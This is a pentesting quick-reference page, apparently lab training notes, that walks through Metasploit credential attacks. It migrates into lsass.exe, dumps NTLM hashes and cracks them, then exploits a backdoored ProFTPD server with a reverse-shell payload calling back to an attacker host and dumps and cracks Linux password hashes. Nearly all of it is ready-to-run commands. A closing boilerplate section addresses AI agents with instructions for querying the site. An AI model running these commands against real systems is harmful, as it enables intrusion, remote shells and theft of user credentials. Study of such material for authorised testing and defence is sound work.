> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/metasploit-and-meterpreter/password-hash-cracking.md).
# Password Hash cracking
We have successfully exploited a badblue server. Migrate the current process into lsass.exe
```
migrate -N lsass.exe
```
Dump NTLM hashes
```
hashdump
```
**Step 8:** Verify that the hashes are stored in the MSF database or not.
**Command:**
```
background
creds
```
**Step 9:** Use an auxiliary ntlm hash cracking module to crack stored NTLM hashes.
**Commands:**
```
use auxiliary/analyze/crack_windows
set CUSTOM_WORDLIST /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
exploit
```
### Linux Hash cracking
We will start the postgresql database server on the attacker machine. We are starting postgresql to store all metasploit loot and other sensitive information from the target machine.
```
/etc/init.d/postgresql start
```
We have started postgresql database server. Start metasploit framework and exploit proftpd server using exploit/unix/ftp/proftpd\_133c\_backdoor module.
Make sure to replace LHOST with the IP address of the attacker machine.
```
msfconsole -q
use exploit/unix/ftp/proftpd_133c_backdoor
set payload payload/cmd/unix/reverse
set RHOSTS demo.ine.local
set LHOST 192.70.114.2
exploit -z
```
We have exploited the target ftp server. We will use a post exploitation module to dump the system users hashes.
```
use post/linux/gather/hashdump
set SESSION 1
exploit
```
Run the provided auxiliary module to find the plain text password of the root user.
```
use auxiliary/analyze/crack_linux
set SHA512 true
run
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://notes.cavementech.com/pentesting-quick-reference/metasploit-and-meterpreter/password-hash-cracking.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
